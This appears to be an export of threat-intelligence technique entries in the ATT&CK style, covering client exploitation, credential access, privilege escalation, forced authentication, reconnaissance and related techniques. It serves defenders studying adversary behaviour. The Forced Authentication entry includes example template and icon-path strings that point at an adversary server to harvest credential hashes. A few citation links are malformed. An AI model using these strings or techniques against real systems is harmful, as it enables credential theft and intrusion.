Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

Browser-based Exploitation

Web browsers are a common target through [Drive-by Compromise](https://app.tidalcyber.com/technique/d4e46fe1-cc6d-4ef0-af72-a4e8dcd71381) and [Spearphishing Link](https://app.tidalcyber.com/technique/d08a9977-9fc2-46bb-84f9-dbb5187c426d). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://app.tidalcyber.com/technique/d4a36624-50cb-43d3-95af-a2e10878a533). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: *misp-galaxy:technique="Exploitation for Client Execution"*

Exploitation for Credential Access

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.

Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.^{[[Technet MS14-068](https://app.tidalcyber.com/references/db78c095-b7b2-4422-8473-49d4a1129b76)]}^{[[ADSecurity Detecting Forged Tickets](https://app.tidalcyber.com/references/4c328a1a-6a83-4399-86c5-d6e1586da8a3)]}
Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.^{[[Bugcrowd Replay Attack](https://app.tidalcyber.com/references/ed31056c-23cb-5cb0-9b70-f363c54b27f7)]}^{[[Comparitech Replay Attack](https://app.tidalcyber.com/references/a9f0b569-8f18-579f-bf98-f4f9b93e5524)]}^{[[Microsoft Midnight Blizzard Replay Attack](https://app.tidalcyber.com/references/5af0008b-0ced-5d1d-bbc9-6c9d60835071)]}

Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.^{[[Storm-0558 techniques for unauthorized email access](https://app.tidalcyber.com/references/74fd79a9-09f7-5149-a457-687a1e2989de)]}

Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

The tag is: *misp-galaxy:technique="Exploitation for Credential Access"*

Exploitation for Defense Evasion

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://app.tidalcyber.com/technique/9e945aa5-3883-4537-a767-f49bdcce26c7). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries ^{[[Salesforce zero-day in facebook phishing attack](https://app.tidalcyber.com/references/cbd360bb-f4b6-5326-8861-b05f3a2a8737)]}, evade security logs ^{[[Bypassing CloudTrail in AWS Service Catalog](https://app.tidalcyber.com/references/de50bd67-96bb-537c-b91d-e541a717b7a1)]}, or deploy hidden infrastructure.^{[[GhostToken GCP flaw](https://app.tidalcyber.com/references/3f87bd65-4194-5be6-93a1-acde6eaef547)]}

The tag is: *misp-galaxy:technique="Exploitation for Defense Evasion"*

Exploitation for Privilege Escalation

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).<sup>[[ESET InvisiMole June

2020](https://app.tidalcyber.com/references/d10cfda8-8fd8-4ada-8c61-dba6065b0bac)]</sup>^{[[Unit42 AcidBox June 2020](https://app.tidalcyber.com/references/f3f2eca0-fda3-451e-bf13-aacb14668e48)]} Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://app.tidalcyber.com/technique/4499ce34-9871-4879-883c-19ddb940f242) or [Lateral Tool Transfer](https://app.tidalcyber.com/technique/3dea57fc-3131-408b-a1fd-ff2eea1d858f).

The tag is: *misp-galaxy:technique="Exploitation for Privilege Escalation"*

Exploitation of Remote Services

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://app.tidalcyber.com/technique/5bab1234-8d1e-437f-88a0-d527b2dfc6cd) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB^{[[CIS Multiple SMB Vulnerabilities](https://app.tidalcyber.com/references/76d9da2c-1503-4105-b017-cb2b69298296)]} and RDP^{[[NVD CVE-2017-0176](https://app.tidalcyber.com/references/82602351-0ab0-48d7-90dd-f4536b4d009b)]} as well as applications that may be used within internal networks such as MySQL^{[[NVD CVE-2016-6662](https://app.tidalcyber.com/references/1813c26d-da68-4a82-a959-27351dd5e51b)]} and web server services.^{[[NVD CVE-2014-7169](https://app.tidalcyber.com/references/c3aab918-51c6-4773-8677-a89b27a00eb1)]}^{[[Ars Technica VMWare Code Execution Vulnerability 2021](https://app.tidalcyber.com/references/838e7a7d-ed1e-59bb-b81f-e9e407dc9e38)]} Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.^{[[Broadcom VMSA-2024-0019](https://app.tidalcyber.com/references/4bc981c7-c0d9-5042-85dd-d08b5ee72670)]}

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://app.tidalcyber.com/technique/9cc715d7-9969-485f-87a2-c9f7ed3cc44c) as a result of lateral movement exploitation as well.

The tag is: *misp-galaxy:technique="Exploitation of Remote Services"*

Exploit Public-Facing Application

Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially

access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.

Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.^{[[NVD CVE-2016-6662](https://app.tidalcyber.com/references/1813c26d-da68-4a82-a959-27351dd5e51b)]}^{[[CIS Multiple SMB Vulnerabilities](https://app.tidalcyber.com/references/76d9da2c-1503-4105-b017-cb2b69298296)]}^{[[US-CERT TA18-106A Network Infrastructure Devices 2018](https://app.tidalcyber.com/references/8fdf280d-680f-4b8f-8fb9-6b3118ec3983)]}^{[[Cisco Blog Legacy Device Attacks](https://app.tidalcyber.com/references/f7ce5099-7e04-4c0b-8767-e0eec664b18e)]}^{[[NVD CVE-2014-7169](https://app.tidalcyber.com/references/c3aab918-51c6-4773-8677-a89b27a00eb1)]} On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers.^{[[Recorded Future ESXiArgs Ransomware 2023](https://app.tidalcyber.com/references/cefcfd52-712e-549e-a4af-365ead492dca)]}^{[[Ars Technica VMWare Code Execution Vulnerability 2021](https://app.tidalcyber.com/references/838e7a7d-ed1e-59bb-b81f-e9e407dc9e38)]} Depending on the flaw being exploited, this may also involve [Exploitation for Defense Evasion](https://app.tidalcyber.com/technique/15b65bf2-dbe5-47bc-be09-ed97684bf391) or [Exploitation for Client Execution](https://app.tidalcyber.com/technique/068df3d7-f788-44e4-9e6b-2ae443af1609).

If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://app.tidalcyber.com/technique/a5a95893-d837-424a-979f-095a47dd9f34)), exploit container host access via [Escape to Host](https://app.tidalcyber.com/technique/bebaf25b-9f50-4e3b-96cc-cc55c5765b61), or take advantage of weak identity and access management policies.

Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.^{[[Mandiant Fortinet Zero Day](https://app.tidalcyber.com/references/7bdc5bbb-ebbd-5eb8-bd10-9087c883aea7)]}^{[[Wired Russia Cyberwar](https://app.tidalcyber.com/references/28c53a97-5500-5bfb-8aac-3c0bf94c2dfe)]}

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.^{[[OWASP Top 10](https://app.tidalcyber.com/references/c6db3a77-4d01-4b4d-886d-746d676ed6d0)]}^{[[CWE top 25](https://app.tidalcyber.com/references/d8ee8b1f-c18d-48f3-9758-6860cd31c3e3)]}

The tag is: *misp-galaxy:technique="Exploit Public-Facing Application"*

External Remote Services

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service

gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://app.tidalcyber.com/technique/c2866fd3-754e-4b40-897a-e73a8c1fcf7b) and [VNC](https://app.tidalcyber.com/technique/af7afc1e-3374-4d1c-917b-c47c305274f5) can also be used externally.^{[[MacOS VNC software for Remote Desktop](https://app.tidalcyber.com/references/c1f7fb59-6e61-4a7f-b14d-a3d1d3da45af)]}

Access to [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.^{[[Volexity Virtual Private Keylogging](https://app.tidalcyber.com/references/b299f8e7-01da-4d59-9657-ef93cf284cc0)]} Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn't require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.^{[[Trend Micro Exposed Docker Server](https://app.tidalcyber.com/references/05c8909c-749c-4153-9a05-173d5d7a80a9)]}^{[[Unit 42 Hildegard Malware](https://app.tidalcyber.com/references/0941cf0e-75d8-4c96-bc42-c99d809e75f9)]}

The tag is: *misp-galaxy:technique="External Remote Services"*

Fallback Channels

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

The tag is: *misp-galaxy:technique="Fallback Channels"*

File and Directory Discovery

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://app.tidalcyber.com/technique/1492c4ba-c933-47b8-953d-6de3db8cfce8) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.^{[[Windows Commands JPCERT](https://app.tidalcyber.com/references/9d935f7f-bc2a-4d09-a51a-82074ffd7d77)]} Custom tools may also be used to gather file and directory information and interact with the [Native API](https://app.tidalcyber.com/technique/1120f5ec-ef1b-4596-8d8b-a3979a766560). Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to gather file and directory information (e.g. <code>dir</code>, <code>show flash</code>, and/or <code>nvram</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}

Some files and directories may require elevated or specific user permissions to access.

The tag is: *misp-galaxy:technique="File and Directory Discovery"*

File and Directory Permissions Modification

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.^{[[Hybrid Analysis Icacls1 June 2018](https://app.tidalcyber.com/references/74df644a-06b8-4331-85a3-932358d65b62)]}^{[[Hybrid Analysis Icacls2 May 2018](https://app.tidalcyber.com/references/5d33fcb4-0f01-4b88-b1ee-dad6dcc867f4)]} File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory's existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://app.tidalcyber.com/technique/9ed0f5c3-49ff-4c43-bb77-c00e466ce3ba), [Boot or Logon Initialization Scripts](https://app.tidalcyber.com/technique/c51f799b-7305-43db-8d3b-657965cad68a), [Unix Shell Configuration Modification](https://app.tidalcyber.com/technique/cc5ae19f-981d-4004-bb74-260b8ebad73a), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://app.tidalcyber.com/technique/1085d0c6-4ff3-45f1-8e0c-d8f334f4ba68).

Adversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.^{[[new_rust_based_ransomware](https://app.tidalcyber.com/references/8206240f-c84e-442e-b025-f629e9cc8d91)]}^{[[bad_luck_blackcat](https://app.tidalcyber.com/references/0d1e9635-b7b6-454b-9482-b1fc7d33bfff)]}^{[[falconoverwatch_blackcat_attack](https://app.tidalcyber.com/references/9d0ff77c-09e9-4d58-86f4-e2398f298ca9)]}^{[[blackmatter_blackcat](https://app.tidalcyber.com/references/605b58ea-9544-49b8-b3c8-0a97b2b155dc)]}^{[[fsutil_behavior](https://app.tidalcyber.com/references/07712696-b1fd-4704-b157-9e420840fb2c)]}

The tag is: *misp-galaxy:technique="File and Directory Permissions Modification"*

Financial Theft

Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,^{[[FBI-ransomware](https://app.tidalcyber.com/references/54e296c9-edcc-5af7-99be-b118da29711f)]} business email compromise (BEC) and fraud,^{[[FBI-BEC](https://app.tidalcyber.com/references/3388bfec-7822-56dc-a384-95aa79f42fe8)]} "pig butchering,"<sup>[[wired-pig butchering](https://app.tidalcyber.com/

references/dc833e17-7105-5790-b30b-b4fed7fd2d2f)]</sup> bank hacking,^{[[DOJ-DPRK Heist](https://app.tidalcyber.com/references/c50d2a5b-1d44-5f18-aaff-4be9f6d3f3ac)]} and exploiting cryptocurrency networks.^{[[BBC-Ronin](https://app.tidalcyber.com/references/8e162e39-a58f-5ba0-9a8e-101d4cfa324c)]}

Adversaries may [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3) to conduct unauthorized transfers of funds.^{[[Internet crime report 2022](https://app.tidalcyber.com/references/ef30c4eb-3da3-5c7b-a304-188acd2f7ebc)]} In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://app.tidalcyber.com/technique/20417e43-6ffa-5d36-a2ef-e27cd5a4b8f1) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.^{[[FBI-BEC](https://app.tidalcyber.com/references/3388bfec-7822-56dc-a384-95aa79f42fe8)]} This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.^{[[VEC](https://app.tidalcyber.com/references/4fd7c9f7-4731-524a-b332-9cb7f2c025ae)]}

Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://app.tidalcyber.com/technique/f0c36d24-263c-4811-8784-f716c77ec6b3) ^{[[NYT-Colonial](https://app.tidalcyber.com/references/58900911-ab4b-5157-968c-67fa69cc122d)]} and [Exfiltration](https://app.tidalcyber.com/tactics/66249a6d-be4e-43ab-a295-349d03a98023) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.^{[[Mandiant-leaks](https://app.tidalcyber.com/references/aecc3ffb-c524-5ad9-b621-7228f53e27c3)]} Adversaries may use dedicated leak sites to distribute victim data.^{[[Crowdstrike-leaks](https://app.tidalcyber.com/references/a91c3252-94b8-52a8-bb0d-cadac6afa161)]}

Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34) and business disruption.^{[[AP-NotPetya](https://app.tidalcyber.com/references/7f1af58a-33fd-538f-b092-789a8776780c)]}

The tag is: *misp-galaxy:technique="Financial Theft"*

Firmware Corruption

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.^{[[Symantec Chernobyl W95.CIH](https://app.tidalcyber.com/references/a35cab17-634d-4a7a-a42c-4a4280e8785d)]} Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.

In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices

inoperable.^{[[dhs_threat_to_net_devices](https://app.tidalcyber.com/references/f1d16045-d365-43d2-bc08-65ba1ddbe0fd)]}^{[[cisa_malware_orgs_ukraine](https://app.tidalcyber.com/references/ebe89b36-f87f-4e09-8030-a1328c0b8683)]} Depending on the device, this attack may also result in [Data Destruction](https://app.tidalcyber.com/technique/e5016c2b-85fe-4e6b-917d-0dd5b441cc34).

The tag is: *misp-galaxy:technique="Firmware Corruption"*

Forced Authentication

Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. ^{[[Wikipedia Server Message Block](https://app.tidalcyber.com/references/3ea03c65-12e0-4e28-bbdc-17bb8c1e1831)]} This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. ^{[[Didier Stevens WebDAV Traffic](https://app.tidalcyber.com/references/b521efe2-5c1c-48c5-a2a9-95da2367f537)]} ^{[[Microsoft Managing WebDAV Security](https://app.tidalcyber.com/references/eeb7cd82-b116-4989-b3fa-968a23f839f3)]}

Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://app.tidalcyber.com/technique/02b8e7c1-0db7-43f5-a5bc-531b30395122)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. ^{[[GitHub Hashjacking](https://app.tidalcyber.com/references/d31f6612-c552-45e1-bf6b-889fe619ab5f)]} With access to the credential hash, an adversary can perform off-line [Brute Force](https://app.tidalcyber.com/technique/c16eef78-232e-47a2-98e9-046ec075b13c) cracking to gain access to plaintext credentials. ^{[[Cylance Redirect to SMB](https://app.tidalcyber.com/references/32c7626a-b284-424c-8294-7fac37e71336)]}

There are several different ways this can occur. ^{[[Osanda Stealing NetNTLM Hashes](https://app.tidalcyber.com/references/991f885e-b3f4-4f3f-b0f9-c9862f918f36)]} Some specifics from in-the-wild use include:

- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://app.tidalcyber.com/technique/02b8e7c1-0db7-43f5-a5bc-531b30395122)). The document can include, for example, a request

similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. ^{[[US-CERT APT Energy Oct 2017](https://app.tidalcyber.com/references/e34ddf0a-a112-4557-ac09-1ff540241a89)]}

- A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. ^{[[US-CERT APT Energy Oct 2017](https://app.tidalcyber.com/references/e34ddf0a-a112-4557-ac09-1ff540241a89)]}

The tag is: *misp-galaxy:technique="Forced Authentication"*

Forge Web Credentials

Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://app.tidalcyber.com/technique/17f9e46d-4e3d-4491-a0d9-0cc042531d6e), [Steal Application Access Token](https://app.tidalcyber.com/technique/f78f2c87-626a-468f-93a5-31b61be17727), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://app.tidalcyber.com/technique/e493bf4a-0eba-4e60-a7a6-c699084dc98a), or other cryptographic seed values.^{[[GitHub AWS-ADFS-Credential-Generator](https://app.tidalcyber.com/references/340a3a20-0ee1-4fd8-87ab-10ac0d2a50c8)]} Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://app.tidalcyber.com/technique/448dc009-2d3f-5480-aba3-0d80dc4336cd)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.^{[[AWS Temporary Security Credentials](https://app.tidalcyber.com/references/c6f29134-5af2-42e1-af4f-fbb9eae03432)]}^{[[Zimbra Preauth](https://app.tidalcyber.com/references/f8931e8d-9a03-5407-857a-2a1c5a895eed)]}

Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://app.tidalcyber.com/technique/28f65214-95c1-4a72-b385-0b32cbcaea8f)), which may bypass multi-factor and other authentication protection mechanisms.^{[[Pass The Cookie](https://app.tidalcyber.com/references/dc67930f-5c7b-41be-97e9-d8f4a55e6019)]}^{[[Unit 42 Mac Crypto Cookies January 2019](https://app.tidalcyber.com/references/0a88e730-8ed2-4983-8f11-2cb2e4abfe3e)]}^{[[Microsoft SolarWinds Customer Guidance](https://app.tidalcyber.com/references/b486ae40-a854-4998-bf1b-aaf6ea2047ed)]}

The tag is: *misp-galaxy:technique="Forge Web Credentials"*

Gather Victim Host Information

Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85) or [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.^{[[ATT ScanBox](https://app.tidalcyber.com/references/48753fc9-b7b7-465f-92a7-fb3f51b032cb)]} Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://app.tidalcyber.com/technique/d97c3d34-1210-4c71-b305-59dcccab8f45) or [Search Victim-Owned Websites](https://app.tidalcyber.com/technique/c55c0462-d59f-4bd8-9728-05cf711917b0)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6) or [Search Open Technical Databases](https://app.tidalcyber.com/technique/cf79ad1b-a82b-486b-88ad-e93bfc1c7439)), establishing operational resources (ex: [Develop Capabilities](https://app.tidalcyber.com/technique/bf660248-2098-499b-b90c-8c47efb26c70) or [Obtain Capabilities](https://app.tidalcyber.com/technique/a6740db8-10d6-4e5b-986b-7695d3fc4b85)), and/or initial access (ex: [Supply Chain Compromise](https://app.tidalcyber.com/technique/b72c8a96-5e03-40c2-ac0c-f77b73fe493f) or [External Remote Services](https://app.tidalcyber.com/technique/c1f7e330-f1c4-4923-b8ad-bbd79cc63cb4)).

Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary's follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.^{[[TrellixQakbot](https://app.tidalcyber.com/references/c07a87bd-be9d-5bd9-b59a-d89f0e835886)]}

The tag is: *misp-galaxy:technique="Gather Victim Host Information"*

Gather Victim Identity Information

Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.<sup>[[GrimBlog

The tag is: *misp-galaxy:technique="Gather Victim Identity Information"*

Gather Victim Network Information

Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85) or [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases]([WHOIS (https://app.tidalcyber.com/references/fa6cba30-66e9-4a6b-85e8-a8c3773a3efe)]</sup>^{[[DNS Dumpster](https://app.tidalcyber.com/references/0bbe1e50-28af-4265-a493-4bb4fd693bad)]}^{[[Circl Passive DNS](https://app.tidalcyber.com/references/c19f8683-97fb-4e0c-a9f5-12033b1d38ca)]} Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://app.tidalcyber.com/technique/a930437d-5a12-4dc4-b311-f5fd6a766c85) or [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6)), establishing operational resources (ex: [Acquire Infrastructure](https://app.tidalcyber.com/technique/66ce76fb-5e1b-4462-9b46-d59bdfc6d3f3) or [Compromise

Infrastructure](https://app.tidalcyber.com/technique/c12d81d3-abe4-43d7-8a65-f4b3150e722d)), and/or initial access (ex: [Trusted Relationship](https://app.tidalcyber.com/technique/7549c2f9-b5d2-4773-90ed-42f668aecacf)).

The tag is: *misp-galaxy:technique="Gather Victim Network Information"*

Gather Victim Org Information

Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://app.tidalcyber.com/technique/d97c3d34-1210-4c71-b305-59dcccab8f45) or [Search Victim-Owned Websites]([ThreatPost Broadvoice Leak (https://app.tidalcyber.com/references/91d20979-d4e7-4372-8a83-1e1512c8d3a9)]</sup>^{[[SEC EDGAR Search](https://app.tidalcyber.com/references/97958143-80c5-41f6-9fa6-4748e90e9f12)]} Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://app.tidalcyber.com/technique/b6fe2fda-9c05-4f05-b049-7bb5b9ba5b06) or [Search Open Websites/Domains](https://app.tidalcyber.com/technique/f2d216e3-43d6-4a2e-aa5b-d6be78d018b6)), establishing operational resources (ex: [Establish Accounts](https://app.tidalcyber.com/technique/9a2d6628-0dd7-4f25-a242-b752fcf47ff4) or [Compromise Accounts](https://app.tidalcyber.com/technique/c6374cbe-799a-4648-b1e2-2a66bb42d3f3)), and/or initial access (ex: 